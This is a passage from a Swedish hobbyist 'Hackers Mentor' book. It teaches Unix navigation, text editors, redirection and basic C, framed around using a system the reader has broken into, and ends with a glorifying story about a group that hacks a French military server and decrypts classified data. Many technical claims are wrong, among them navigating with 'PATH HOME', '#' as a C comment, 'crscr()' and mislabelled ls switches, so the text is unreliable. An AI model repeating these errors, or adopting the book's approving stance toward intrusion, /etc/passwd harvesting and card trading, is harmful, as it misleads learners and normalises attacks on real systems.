? Att whatis kommandot används för att visa en-rads information om olika kommandon.
|
||
|
||
|
||
Så enkelt var det.
|
||
|
||
Andra kommandon som man kan testa i Unix system (när du har lyckats hacka dig in) är:
|
||
”help” och ”?”.
|
||
Testa med de båda, det första du gör i ett hackat system. För att få fram information om
|
||
just det aktuella systemets kommandon. (Beroende på skal format mm..).
|
||
|
||
|
||
Tips: Vissa kommandon fungerar om du lägger till växeln –h.
|
||
Testa!:
|
||
|
||
% ls –h
|
||
usage: ls [-acdfgilqrstu 1 ACLFR ] home
|
||
|
||
I exemplet ovan (förra sidan). Fick vi veta att kommandot LS kunde användas med växlarna:
|
||
|
||
-a ,-c ,-d ,-f ,-g ,-i ,-l ,-q ,-r ,-s
|
||
-t ,-u ,-1 ,-A ,-C ,-L ,-F ,-R
|
||
och
|
||
-home
|
||
|
||
- I vissa system får vi i stället upp en listning av filer. ( Kommandot ls används för att visa en
|
||
lista över alla filer i den aktuella eller någon annan katalog).
|
||
|
||
|
||
|
||
Kapitel 2. Del: 3. ”Hantera och förflytta dig i filsystemet”.
|
||
------------------------------------------------------------------------------------------------------------
|
||
I denna del:
|
||
|
||
? Hur listar jag filer och kataloger?
|
||
? Hur navigerar jag i systemet?
|
||
? Hur fungerar Jed? ,,, texteditorn.
|
||
? Omdirigering
|
||
? Rörledningar
|
||
? Enkel C programmering i Linux.
|
||
|
||
|
||
Unix använder sig av ett s.k. ”hierarkiskt” filsystem.
|
||
Det betyder att det (som i Microsoft Windows/ DOS) har en översta enhet
|
||
och under den en massa kataloger och i de katalogerna, en massa andra kataloger.
|
||
En sorts rang ordning.
|
||
|
||
|
||
|
||
Unix sökvägar ser dock annorlunda ut Windows.
|
||
C:\Windows
|
||
Skulle i Unix´s fall ha varit:
|
||
/Windows
|
||
Dessutom har man en egen ”home” katalog. En hem katalog alltså.
|
||
Det är i den hemkatalogen man alltid startar, och man förflyttar sig tillbaka dit
|
||
genom att skriva HOME och klicka på Enter.
|
||
|
||
|
||
|
||
För att se vilka andra filer och kataloger som finns i den aktuella katalogen, så använder
|
||
du kommandot ”ls”.:
|
||
|
||
% ls
|
||
Archives MAIL RUMORS.18sept
|
||
InfoWorld News bin
|
||
LISTS OWL ieecc.list
|
||
%
|
||
|
||
OK. Här fick jag nu se en massa filer och kataloger. Men hur vet jag vilka som är filer
|
||
och vilka som är kataloger? – Genom växeln –F förståss!!
|
||
Här är en massa andra växlar för ls:
|
||
(nästa sida).
|
||
|
||
|
||
Växel: Betydelse:
|
||
¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
|
||
-l Framtvinga en fillistning i en spalt
|
||
-a Lista alla filer (samt dolda)
|
||
-C Lista i flera spalter
|
||
-d Lista katalognamn istället för deras innehåll.
|
||
-F Visa filtyper; / = katalog, * = program, @ = symbolisk länk.
|
||
-I Lista kataloger och filer i långt format.
|
||
-m Lista filer i en komma separerad lista.
|
||
-r Vänd på sorteringen.
|
||
-R Visa kataloger och deras innehåll rekursivt.
|
||
-s Visa filstorlekar i block. ( 1 block normalt = 1 024 bytes)
|
||
-t Sortera utmatningen med de senast ändrade filerna först.
|
||
-x Sortera utmatningen horisontellt.
|
||
¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
|
||
Du kan även kombinera växlar. Så, om du vill se alla filer i flera, fina spalter, så använder
|
||
du kommandot ls tillsammans med växlarna a och C:
|
||
|
||
% ls –a –C
|
||
blabla .blabla
|
||
blabla .blabla
|
||
.blabla blabla
|
||
|
||
Du ser här att alla filer heter blabla. Men framför vissa är det en punkt.
|
||
Alla dolda filer i Unix har en punkt framför sig!
|
||
- Då vet du det. Få se.. vad ska vi ta och lära oss nu då..??
|
||
|
||
|
||
|
||
Jo.. Först och främst måste jag presentera de viktigaste katalogerna samt ge dig lite info om vad
|
||
som finns inuti dem.
|
||
|
||
/bin
|
||
Förkortning av ”Binaries”. Platsen där Unix förvarar alla sina
|
||
körbara filer.
|
||
|
||
/dev
|
||
Dev är en förkortning av ”Devices”. Och i den här katalogen ligger alla
|
||
Unix drivrutiner. Utan dessa skulle du inte ha någon information på -
|
||
- skärmen. Därför hör DEV till något av det viktigaste i Unix.
|
||
|
||
/etc
|
||
Detta är en av hackarnas favorit kataloger! ;-). Här finns bland annat filen passwd som
|
||
innehåller alla i systemets login namn och lösenord.
|
||
ETC är lagringsplatsen för alla Unix systemadministrativa filer.
|
||
Förkortning för ”etcetera”.
|
||
|
||
/lib
|
||
Unix har en central lagringsplats för s.k. biblioteksfiler (”libraries”) med funktioner och
|
||
procedurer. De ligger i katalogen lib. Det är körbara filer som hör till vissa bestämda-
|
||
-program och hjälper dem med funktioner och kapacitet som de annars inte skulle ha.
|
||
Tanken är att om ett program vill nyttja en viss funktion ska det kunna anropa den i ett
|
||
funktionsbibliotek istället för att själva behöva innehålla den.
|
||
|
||
|
||
Det finns ett antal fler kataloger, men sorry. Orkar inte ta med dem här och nu. :-/.
|
||
/lost+found , /mnt, /sys, /tmp, /usr ? Dessa är de som jag skippar.
|
||
|
||
Nu hade jag tänkt att fortsätta med lite kommandon.
|
||
Du vill antagligen flytta dig lite i systemet och titta på filer mm..
|
||
|
||
För att se vart i systemet du befinner dig använder du kommandot ”PATH”:
|
||
$ PWD
|
||
Du får veta vart du är.. Förflytta dig sedan Med cd eller path:
|
||
$ PATH HOME
|
||
Detta tar dig hem till din hemkatalog.
|
||
$ CD ../
|
||
Detta flyttar dig ett steg upp i katalogsystemet.
|
||
Som sagt, UNIX har ett hierarkiskt filsystem, precis som Windows.
|
||
C:\Windows\System\
|
||
Först kommer C:\. Den översta och första. Sedan kommer Windows\.
|
||
Sedan System\. Detta är ett hierarkiskt filsystem.
|
||
|
||
När du använder kommandot LS för att lista filer så kommer du se två ”filer”
|
||
vid namn ./ och ../. ( ./ = Den katalog du just nu befinner dig i . Obetydlig).
|
||
(../ = En katalog högre.) Den sista, ../ är ganska viktig. Eftersom att du förmodligen-
|
||
-vill flytta dig uppåt i systemet! Vi säger att du befinner dig i katalogen ”qwerty” som är en
|
||
underkatalog till ”hack”. För att lista filer i katalogen ”rewt” som också den är en underkatalog till
|
||
katalogen ”hack”, så skriver du alltså:
|
||
ls ../rewt
|
||
|
||
|
||
Mer om allt detta så småningom.
|
||
|
||
Nu kan det vara lagom att gå in lite mer i vardagslivets sidor av UNIX.
|
||
En texteditor är väl allt bra vanligt? Det är ju något av det viktigaste i systemet,
|
||
utan den vore en dator inte en dator.
|
||
UNIX har många fler texteditorer som standard, följer med systemet, än vad Windows har.
|
||
Words och Notepad.. Hmms.. UNIX har i alla fall lite fler, Emacs, Pico, Joe, Jed och Vi.
|
||
Vi ska titta lite närmare på dem.
|
||
|
||
|
||
|
||
Texteditors
|
||
|
||
En texteditor är antagligen det viktigaste verktyget i Linux och utan en sådan är du helt försvarslös.
|
||
Det finns ett stort antal editorer och alla har sin personliga favorit.
|
||
|
||
Några vanliga texteditorer:
|
||
|
||
? Joe
|
||
|
||
Ganska trevlig att manövrera när du lärt dig kombinationerna.
|
||
Skriv så här: joe hej, skriv in lite text. Tryck på <CTRL><K> och sen på <X> när du vill spara och
|
||
avsluta.
|
||
Tryck på <CTRL><K> och sedan <H> för att få se hjälpmenyn.
|
||
|
||
? Jed
|
||
|
||
Mer sofistikerad än Joe. Alldeles underbar när man programmerar. Den identerar och färgar det
|
||
man skriver in. Dessutom hjälper den till att hålla reda på parenteser.
|
||
Jed är en ganska lyckad blandning av Emacs och Joe.
|
||
|
||
? Emacs
|
||
|
||
Otroligt stor och omfattande editor. Det finns en uppsjö program specifikt skrivna för Emacs.
|
||
Emacs har också en väldigt massa olika lägen, c-mode t.ex. som fixar inledningar och sådant i C-Kod.
|
||
Du bör försöka bekanta dig med Emacs, extremt produktiv enligt fanatikerna. Det är egentligen bara
|
||
en editor men emacs är så pass konfigurationsvänligt att folk använder det för att styra sina
|
||
kaffekokare med!
|
||
|
||
? Vi
|
||
|
||
Raka motsatsen till Emacs, extremt minimalt och användarfientligt. Väldigt många tycker dock
|
||
att vi är den bästa och snabbaste. Ända sen 80-tal har ett religöst krig mellan emacs- och vi-fanatiker
|
||
rasat. Vid en större Linux mässa utmanade de varandra i paintball. Det var motiveringen
|
||
”Smidighet och snabbhet gäller i både textredigering och paintball” som vi-laget kamade hem en
|
||
snabb seger. Vi uttalas vi-aj. ;-)
|
||
|
||
? Pico
|
||
|
||
Linkar edit i DOS. Tämligen enkel att använda. Om du tycker att de ovanstående är svårhanterliga
|
||
kan du använda denna. Om du vill spara en fil trycker du på <CTRL><O>. Avsluta med
|
||
<CTRL><X>. Använd valfri editor för att skriva in följande program. Jed och Emacs är
|
||
speciellt trevliga att när det gäller programmering.
|
||
|
||
Skriv t.ex. jed exempel.c och skriv in följande:
|
||
|
||
#include<stdio.h>
|
||
int main(void)
|
||
{
|
||
int a,b;
|
||
printf(”Ange tal 1:\n”);
|
||
scanf(”%d”, &a);
|
||
printf(”Ange tal 2:\n”);
|
||
scanf(”%d”, &b);
|
||
printf(”Summan av %d och %d är %d\n!”,a,b,a+b);
|
||
return 0;
|
||
}
|
||
|
||
Tryck på <Ctrl-X> och <C> när du vill spara. Nu har du förhoppningsvis upptäckt att Jed är bra att
|
||
programmera med, eftersom den hjälper till rätt mycket med grammatiken. Kompilera och provkör
|
||
programmet:
|
||
|
||
$ gcc exempel.c
|
||
$ ./a.out
|
||
Ange tal 1:
|
||
4
|
||
Ange tal 2:
|
||
7
|
||
Summan av 4 och 7 är 11
|
||
|
||
|
||
Skalet II
|
||
|
||
Nu när du har lärt dig använda editorn Jed någorlunda, kan du återkomma till fler funktioner i
|
||
skalet Bash. Om du listar innehållet i din hemkatalog ser det kanske ut så här:
|
||
|
||
$ ls
|
||
a.out
|
||
exempel.c
|
||
textfil
|
||
textfil2
|
||
$
|
||
|
||
Nu vill du givetvis inte ha sådan oordning i din hemkatalog, det ska vara snyggt och prydligt.
|
||
Skapa en katalog till din C-fil. Jag tycker också att du skall ta bort a.out.
|
||
|
||
$ rm a.out
|
||
$ mkdir c
|
||
$ pwd
|
||
/home/kalle
|
||
$ ls
|
||
c
|
||
exempel.c
|
||
textfil
|
||
textfil2
|
||
$ cd c
|
||
$ pwd
|
||
$ /home/kalle/c
|
||
$ ls
|
||
$
|
||
|
||
Sedan flyttar du .c-filerna till c-katalogen.
|
||
|
||
$ mv *.c c/
|
||
$ cd c
|
||
$ ls
|
||
exempel.c
|
||
$ pwd
|
||
/home/kalle/c
|
||
$ cd ..
|
||
$ pwd
|
||
/home/kalle
|
||
$ ls
|
||
c
|
||
textfil
|
||
textfil2
|
||
|
||
Gör likadant med de andra filerna, dela in dem i kataloger! =^).
|
||
|
||
Omdirigering
|
||
|
||
UTDATA
|
||
|
||
Programmet cat läser in filen textfil och skriver ut innehållet till utdata, stdout. Det festliga är
|
||
att vi kan dirigera om var utdatan ska hamna och om du inte specificerar något annat kommer
|
||
utdatan till den skärm du tittar på. Men skriver du:
|
||
|
||
$ cat textfil > textfil3
|
||
$
|
||
|
||
VA!? Inget hände? Jodå.. Utdatan som cat skickade från textfil, skickades till den nya filen
|
||
textfil3.
|
||
|
||
|
||
$ ls
|
||
textfil
|
||
textfil2
|
||
textfil3
|
||
$ cat textfil3
|
||
Linux är absolut bäst
|
||
|
||
Här ser du alltså, att texten i ”textfil” skickades till en ny fil vid namn ”textfil3”.
|
||
När vi sedan öppnar filen med ”cat”, så ser vi beviset.. Samma text som i ”textfil” !
|
||
Det är ett primitivt sätt att kopiera en textfil på. Det funkar dessutom bara på textfiler.
|
||
Den andra dirigenten heter <, och är givetvis en mostats till >. Du minns kanske vårt lilla
|
||
C-program som frågade efter två tal; så här kan du använda < operatorn:
|
||
|
||
INDATA
|
||
|
||
$ pwd
|
||
/home/kalle/c
|
||
$ gcc exempel.c –o exempel
|
||
$ ./exempel
|
||
Ange tal 1:
|
||
5
|
||
Ange tal 2:
|
||
6
|
||
Summan av 5 och 6 är 11!
|
||
|
||
Skapa nu en fil i samma katalog som innehåller två tal på varsin rad. Glöm inte att avsluta
|
||
varje rad med ett radbyte, <ENTER>.
|
||
|
||
$ ls
|
||
exempel
|
||
exempel.c
|
||
siffror ? (Den nya filen!)
|
||
$ cat siffror
|
||
23
|
||
5
|
||
$ ./exempel < siffror
|
||
Ange tal 1:
|
||
Ange tal 2:
|
||
Summan av 23 och 5 är 28!
|
||
$
|
||
|
||
Bra va? Programmet exempel väntar på att två värden ska komma från indata.
|
||
Precis som utdata vanligt vis är skärmen, är indata vanligtvis tangentbordet.
|
||
./exempel < siffror blir siffror indata för exempel.
|
||
Med hjälp av indata genererar exempelprogrammet lite utdata, och detta kan vi
|
||
också använda.
|
||
|
||
$ ./exempel < siffror > summa
|
||
$ cat summa
|
||
Ange tal 1:
|
||
Ange tal 2:
|
||
Summan av 23 och 5 är 28!
|
||
$
|
||
|
||
Rörledningen |
|
||
|
||
Den tredje dirigenten fungerar som en rörledning. Det som stoppas in på ena sidan
|
||
kommer ut på den andra. Prova att lista innehålet i katalogen /usr/bin (ls /usr/bin).
|
||
Jag orkar inte visa hur det ser ut.. (tar för mycket plats med alla filer ;-) ).
|
||
|
||
En väldig
|
||
massa filer rusar alltså förbi, det är omöjligt att hänga med. I DOS hade vi använt
|
||
DIR med växeln /P för att lista filerna i tur och ordning, i den takt vi själva hade valt.
|
||
Det vi ska göra nu är typ samma sak, men i *NIX format:
|
||
ls /usr/bin | more. Genast blev det enklare! Alla filer från kommandot LS skickades till
|
||
”more”. More är ett program som skriver ut lika många rader ur dess indata som får plats
|
||
på skärmen, fast det visste du väl redan.
|
||
|
||
|
||
|
||
|
||
Studera följande:
|
||
|
||
$ ./exempel < siffror
|
||
Ange tal 1:
|
||
Ange tal 2:
|
||
Summan av 24 och 5 är 28!
|
||
$ cat siffror | ./exempel
|
||
Ange tal 1:
|
||
Ange tal 2:
|
||
Summan av 24 och 5 är 28!
|
||
|
||
Precis samma sak i båda fallen! Siffror blir indata åt ./exempel!
|
||
Så.. nog om detta för den här gången. Ni behöver smälta sketen ett tag.
|
||
Jag kommer gå igenom nätverks konfigureringar och sånt lite senare i boken.
|
||
I nästa Hackers Mentor bok kommer jag prata om ”X”, ”Bash” och
|
||
skalprogrammering. Det blir väl något att se fram emot?
|
||
Har vi tur så hinner jag också med att skriva om Emacs och VI, sedan kan
|
||
du helt enkelt byta till ett *NIX system utan bekymmer.. Så slipper du alla
|
||
jobbiga förnedringar om att du är en Winblows user! :-)
|
||
|
||
|
||
Kapitel 2: Programmera i C/C++
|
||
|
||
När du hör att ”hackers” inte använder ”tools”, utan att de gör sina
|
||
alldeles egna hacking program. (Om de ens behöver använda mjukvara),
|
||
så kanske du tycker att det låter jätte jobbigt och svårt.. ”Aldrig ens använda
|
||
Netinfo eller WS_Ping!?”, nej just det!
|
||
Men det ÄR inte särskiljt svårt.
|
||
Jag är ingen C programmerare själv, jag gör de flesta av mina program i det
|
||
mycket enklare språket BASIC. (Visual Basic 6).
|
||
|
||
|
||
Men nu är det så att jag har lite grundkunskaper, och jag vill gärna
|
||
lära er som INTE har några grundkunskaper om det, lite grand!
|
||
Att skapa ett hacking program i Visual Basic är oerhört enkelt. I C är det lite svårare,
|
||
Särskiljt för mig. Jag kan typ bara göra ett enkelt matte program i C, eller ett sånt där
|
||
som säger ”Hej! Jag heter ice!” ”Vad heter du?:” på en svart bakgrund.
|
||
|
||
Det tog mig ca: ett år att lära mig VisualBasic så pass bra att jag kunde göra mer avancerade
|
||
program som t.ex. trojanen GMT (NetChéf 3.0). Det var det värt!
|
||
Det enda som behövdes var resurser för att skapa programmen, samt en god guide.
|
||
Jag läste först ”Lättpocket om VisualBasic 5”, den boken var min nyckel till programmeringen.
|
||
Jag var då bara 13 år. C++ var grekiska för mig. Senare köpte jag ”Programmera Internet med
|
||
VB 5”. Sedan ”Visual Basic 6 på tre veckor”. Klartt!! Nu kan jag det. ”Bara fantasin är gränsen”.
|
||
|
||
|
||
För några månader sedan började jag läsa C/C++.
|
||
Mina kunskaper i VB kom nu till oerhört stor nytta. För det första kunde jag skippa allt tjafs
|
||
om variabler och logiken var helt klar för mig. Utan att ha tittat på C tidigare kunde jag nu
|
||
förstå den kod jag läste på skärmen.
|
||
|
||
Vad jag vill få fram, vilket språk du än lär dig så kommer det bli till stor nytta i vilket programmerings
|
||
projekt du än tar för dig.
|
||
|
||
|
||
Så.. Vi ska börja programmera i C. Jag förutsätter ingen ting! Det enda jag går efter nu är att du aldrig
|
||
tidigare har programmerat, och det jag kommer lära dig om C i den här boken blir därför väldigt
|
||
simpla och nödvändiga grunder. I nästa bok går vi vidare, liksom med Unix.
|
||
|
||
Jag tänker nu inte, likt alla andra böcker, dra upp historien om vart C kom till, när, hur etc.
|
||
Jag tänker berätta vad det ÄR, hur det fungerar och hur du använder det. Lära dig koda och kompilera.
|
||
Nog med prat, iväg till C fabriken:
|
||
|
||
|
||
Programmering i allmänhet
|
||
|
||
Att programmera, är att skriva egna program i ett språk. I ett programmeringsspråk.
|
||
C är ett sådant. Det finns många andra språk, Assembler, Perl, BASIC, Cobol, Pascal,
|
||
Java, HTML (jo..), CGI, BATCH (hehe.. jo!).. Du har säkert hört om dem. Om du läser
|
||
detta så är det 99% troligt att du redan vet allt detta. Tillhör du den sista 1%:en så bör du
|
||
helt enkelt lägga ner dina planer på hacking. Optimistiskt menat! Gör inte bort dig. ;-D.
|
||
|
||
Det första språket, med bokstäver och så.. Var Fortran. Sedan kom En massa språk som
|
||
nästan ingen av oss 15 åringar har hört talas om. Från början gjordes program
|
||
med hjälp av hålkort. Detta var alltså programmeringen, att sticka hål på kort som man
|
||
sedan lämnade in till ett datalabb. Sedan väntade man en timma eller två, fick tillbaka
|
||
sitt kort och en utskrift på vad kortet hade åstadkommigt. En liten utskrift, en text!
|
||
Det tog för lång tid att springa runt mellan labben och sitt eget hem, så man uppfann
|
||
terminaler som anslöts till stordatorerna.
|
||
|
||
Sedan programmerade man med hjälp av sifferkoder. Man skrev ned siffrorna på papper
|
||
i och med att man klurade ut hur det hela skulle fungera. Sedan matade man över siffrorna
|
||
till en dator som gjorde om det hela till maskinkod, det är den enda kod som datorn egentligen
|
||
förstår. Nollor och ettor. Men sifferkoderna blev för svåra att komma ihåg.
|
||
Man gjorde därför om dem till bokstäver och ord.
|
||
Bokstavskoder.
|
||
Det är vad vi använder idag. Sedan måste man ”kompilera” koderna till
|
||
maskinkod. Det är fortfarande det enda en dator kan förstå.
|
||
De flesta programmeringsspråk har som sagt en ganska lika logik.
|
||
|
||
|
||
Objektsorienterad programmering
|
||
|
||
Vad är det? Om vi säger att JAG är ett objekt. Min ARM är ett annat objekt.
|
||
I C kan en knapp vara ett objekt, lika väl som en textruta, ett formulär, eller
|
||
till och med ett stycke kod, en variabel, kan ses som ett objekt.
|
||
|
||
Om vi går vidare här, så kan vi se min hjärna och mina muskler som datorn.
|
||
En del av hjärnan talar om för en annan del av hjärnan (datorn) att jag ska lyfta
|
||
tre decimeter på armen. Hjärnan fångar upp mitt meddelande (min kod) och skickar
|
||
signaler till mina muskler att utföra det jag ville. (Kompilatorn, och allt! Vi kör koden).
|
||
Musklerna lyfter armen tre centimeter.
|
||
|
||
Om vi skrev detta i t.ex. VisualBasic, skulle det kunna likna:
|
||
|
||
JAG.ARM.Top = Int(JAG.ARM.Top) + 30
|
||
|
||
JAG är alltså jag själv, det första objektet. Till det objektet hör ARM. Min arm.
|
||
.Top – Betyder typ, ”höjd” eller ”vertikalt värde”. Alltså, hur högt eller lågt armen ska
|
||
befinna sig. ”Int” står för ”integer” och är alltså,, ett tal, siffror, nummer, värde.
|
||
Vilket värde det gäller, talar informationen mellan parenteserna om.
|
||
(JAG´s ARM´s höjd placering.). Ok, lite svårt att hänga med? Läs om för tusan! ?.
|
||
Till sist talar vi om hur mycket armen ska höjas. + 30 = Plus 30 centimeter.
|
||
Den ska höjas trettio centimeter, alltså, tre decimeter.
|
||
|
||
Här ser vi att det huvudsakliga objektet är JAG. JAG är objektet som står i centrum.
|
||
Sedan kommer ARM. Min arm, en del av mig, alltså ett mindre objekt av mig och ett
|
||
följande och tillhörande objekt av objektet JAG. Sedan kommer ARMéns EGENSKAP
|
||
En egenskap, kan vara texten i en textruta, storleken på en knapp, bakgrundsfärgen i
|
||
programfönstret eller i vårat fall, den vertikala (lodräta) positionen av armen.
|
||
|
||
Nu har du en ganska fin insikt i objektsorienterad programmering. Det räcker med det nu.
|
||
Om du inte förstod, så läs noga igenom det en gång till. Sitt inte och pressa in orden!
|
||
Du lär dig det efter hand, du måste inte veta att det heter ”Objektsorienterad programmering”
|
||
ännu. Bara du förstår principen och vad jag pratar om. Men det blir nödvändigare senare om
|
||
du ska prata programmering med någon, eller läsa texter om det. Bland annat denna text.
|
||
|
||
Jag hoppas du förstod.
|
||
|
||
|
||
Variabler
|
||
|
||
Variabler, om du kan matte så kan du snart detta.
|
||
En variabel, kan fungera som en textfil, men det är bara en genväg eller ett stycke kod
|
||
som man bara kan använda inom en enda programmerings-kod.
|
||
Ok, lite CP lät det där.. Vi tar om det.
|
||
|
||
KH är en variabel som innehåller information om hur bred en knapp är.
|
||
För att datorn ska förstå vad KH är så måste vi deklarera den som en variabel.
|
||
Vi måste med andra ord tala om för ”kompilatorn” att, DETTA ÄR EN VARIABEL -
|
||
- SOM INNEHÅLLER DEN OCH DEN INFORMATIONEN! GLÖM INTE DEN!
|
||
Vi skiter i hur man deklarerar variabeljäkeln nu..
|
||
|
||
KH ska innehålla värdet 40. Alltså, informationen 40. Inget annat! BARA 40!!
|
||
|
||
Knapp1´s bredd kan skrivas så här:
|
||
|
||
Knapp1.Width = Nånting
|
||
|
||
”Nånting” ska bytas ut mot knappens bredd i, låt oss säga, centimeter.
|
||
Den ska vara 40 centimeter bred säger vi nu.
|
||
|
||
Knapp1.Width = 40
|
||
|
||
Så!.. Men vi vill vara lite kluriga, så vi skriver inte 40.. vi skriver KH,
|
||
eftersom att den VARIABELN innehåller samma information, samma värde!
|
||
Det har vi ju talat om för den, det har vi ju deklarerat!
|
||
|
||
KH = 40
|
||
Knapp1.Width = KH
|
||
|
||
Knappens bredd blev lika stor som antalet siffror i KH var, i centimetrar.
|
||
Alltså 40.
|
||
|
||
Det finns en massa olika sorters variabler. De kan innehålla olika information,
|
||
text eller siffror. ’Jokertecken’(#]{]}{@£”¤%=ãÄð&) eller vad som helst!
|
||
Här är en lista över variabler och dess funktioner och kapacitet:
|
||
|
||
|
||
Små info om C:
|
||
|
||
Nästan varje rad kod i C/C++ slutar med ett ”;”
|
||
; ? Alltså
|
||
|
||
En kod i C/C++ börjar alltid med:
|
||
|
||
main()
|
||
{
|
||
|
||
#Här skrivs koden in.. Om man använder ett ”#” FÖRE koden, så blir det inte kod, utan text
|
||
#som undviks av kompilatorn.
|
||
#Koden slutar alltid med:
|
||
|
||
}
|
||
|
||
|
||
Innan den kod jag visade med ”main()” så skriver man också in de filer med olika objekt och
|
||
egenskaper som man vill ha med i sitt program.
|
||
Med hjälp av dessa filer slipper man skriva en massa jobbig kod själv, och får färdiga
|
||
kodsnuttar och hjälpredskap med sig direkt. Allt man behöver är filerna själva.
|
||
Sedan på slutet så länkar man ihop och kompilerar alltsammans.
|
||
De två vanligaste filerna som finns med i så gott som alla program heter ”stdio.h” och
|
||
”conio.h”. Dessa lägger man till så här:
|
||
|
||
#include <stdio.h>
|
||
#include <conio.h>
|
||
|
||
Sedan skriver man resten av koden.. (main() och det..).
|
||
Vi kan ta en liten kodsnutt:
|
||
|
||
#include <stdio.h>
|
||
#include <conio.h>
|
||
main()
|
||
{
|
||
crscr();
|
||
printf(”Hej! Detta är mitt program i C”);
|
||
getch();
|
||
}
|
||
|
||
Här har vi ett oerhört enkelt program som bara skriver ut ” Hej! Detta är mitt program i C ” i
|
||
ett litet ”DOS Fönster”. Först talar ”crscr();” om att man ska rensa skärmen från annan text,
|
||
sedan skrivs textmeddelandet ut med hjälp av ”printf(”blablabla”);”.
|
||
Slutligen en liten avslutande kodsnutt ”getch();”. Alla dessa koder beskrivs längre ned.
|
||
|
||
Vi ska inte lära oss så mycket mer om C för den här gången faktiskt.
|
||
Vi kan åter behöva lite rum att smälta informationen.
|
||
|
||
|
||
Kapitel 3: Inspirationsstund.
|
||
Tomteverkstaden
|
||
|
||
Det närmar sig jul i tomteverkstaden.
|
||
Inte den vanliga verkstaden som vi ser på TV varje år.
|
||
Nej, den tomteverkstad jag nu talar om är den som en
|
||
gång fanns i mellersta Sverige. Den tomteverkstaden
|
||
kallades P.W.I.A.
|
||
|
||
På 1990-talet fanns i Uppland och Gästrikland en liten
|
||
hacking organisation som kallades PWIA. Namnet kom från
|
||
en gammal latinsk symbol för "den förste, siste och evige guden".
|
||
PWIA kämpade inte som många andra, för att "visa folket vad hacking
|
||
egentligen var". Nej, den här gruppen var illvilliga och inåtbundna.
|
||
Det låter förstås som något tradititonellt MOD-wannabie projekt.
|
||
Men.. gruppen var aldrig offentligt känd! De som var med ville inte
|
||
att det skulle vara så heller.
|
||
|
||
|
||
Vad gjorde de då?
|
||
|
||
Det PWIA sysslade med var att bryta sig in i olika nätverksservrar
|
||
för att ENBART ställa till med oreda och sätta små spår med namnet
|
||
på organisationen.
|
||
|
||
Allt började 1993 när någon vid namn 'Gando'
|
||
i organisationen A.C.S (En liknande grupp som PWIA), började kaxa
|
||
mot ett gäng "lonewolfs" på deras privata kanal.
|
||
Gando utmanade de på kanalen i en "hacking duell" mot A.C.S´s
|
||
medlemmar. Målet var en fransk .mil-server som hanterade
|
||
ett militärt SMTP och POP3 system. Samt en hel del sekretess belagd
|
||
data om något kustbevaknings system. (Fråga mig inte! Jag vet inte mer
|
||
än så om "målet")
|
||
|
||
De viktigaste som ställde upp i "duellen" från PWIA´s sida var:
|
||
Mendator, J1mX, Xevinnah`, JoS33, Bemoreo och Eddies.
|
||
|
||
Motspelande från A.C.S var främst:
|
||
Neromino, TM, Tatic, HellTecter, Vienci och Gando.
|
||
|
||
|
||
"Duellen" ägde rum 93-02-16.
|
||
|
||
A.C.S´s deltagande kom in i kanalen där PWIA gänget fanns klockan 02.00.
|
||
Gando (ledare för A.C.S) och Eddies (ledare för PWIA) hade ett privat
|
||
samtal på ungeffär 5 minuter. Vad som sas där vet man inte. Men när dom
|
||
var klara verkade den upphettade stämmningen ha stigit och adrenalinet
|
||
såg ut att rysa igenom hela kanalen. I kanalen fanns just då ungeffär
|
||
femtio personer som hade hört om duellen, och som nu satt och väntade
|
||
på att allt skulle sätta igång. Första personen som:
|
||
|
||
* Ändrade startsidan på www.___.mil sidan,
|
||
* Tog hem den krypterade informationen,
|
||
* Lämnade sin grupps signalement på servern
|
||
|
||
skulle genast rapportera om det i Topic för kanalen.
|
||
Då skulle genast alla operationer avbrytas och man skulle
|
||
börja kolla vem av de båda som verkligen HADE vunnit.
|
||
|
||
Startsignalen gick i form av ett 'BLEEP' till alla OP´ens datorer.
|
||
tiden gick.. ingen verkade vara vid livet förutom alla users som
|
||
fortfarande inte visste att tävlingen hade börjat. Folk började
|
||
trada CC´s och shell accounts under tiden som ett svettigt arbete
|
||
pågick i andra änden av IRC.
|
||
|
||
Plötsligt ändrades topic!:
|
||
|
||
"\\P.W.I.A// * GAME OVER * \\P.W.I.A//"
|
||
|
||
PWIA visade direkt A.C.S sin kraft. Gando erkännde senare att han blivit
|
||
riktigt förvånad över hur lätt P.W.I.A verkade ha knäppt den militära servern.
|
||
|
||
Ja. Nu hade PWIA bevisat sina sk!11z. Det Eddies nu hade på sin dator var
|
||
5.3 GB krypterad data som skulle till att dekrypteras.
|
||
Han bar med sig hårddisken till "tomteverkstaden". Han valde förståss att gå dit
|
||
tidigt på morgonen när ännu inga andra PWIA medlemmar hade kommit.
|
||
Eddies slog igång de femton universitets datorer som stod utspridda i källar lokalen.
|
||
Datorerna var igång, och så var även cracking programmen!
|
||
Innan den första PWIA´ren anlände till lokalen hade Eddies lyckats dekryptera
|
||
runt femton olika nyklar som alla ledde till olika delar av den krypterade disken.
|
||
De andra medlemmarna tyckte förståss att det var väldigt
|
||
spännande och roligt att få läsa de hemliga dokument om kustförsvar som den
|
||
franska militärbas de hade hackat, hade uppfunnit.
|
||
|
||
Två veckor gick. Snart hade PWIA lyckats dekryptera hela den bunt av data som
|
||
de fick av militärservern. Eddies hade kunnat tjäna _MYCKET_ på att sälja det
|
||
material han nu hade. Men inte! Eddies hade andra planer. Mer om DET vet jag
|
||
inte. Ingen annan än Eddies vet nog det heller.
|
||
|
||
|
||
---- CHOCKEN ----
|
||
|
||
Den stora smällen mot PWIA kom i Oktober år 1995 när Bemoreo och en annan
|
||
PWIA medlem vid namn WexWinyl hackade sig runt på en obevakad IRC server.
|
||
Samtidigt som de båda roade sig med att radera adresser från OP listorna
|
||
på #USA och #Australia. så satt vår gamle erkefiende Gando och ett gäng till
|
||
bakom ett par svarta datorer i Ryssland och scannade efter datorer med
|
||
hostname endelser på *@*.pwiq.net. Vilket tillhörde PWIA! (duhh!!).
|
||
Och foo,, de hittade snart Bem och Wex.
|
||
|
||
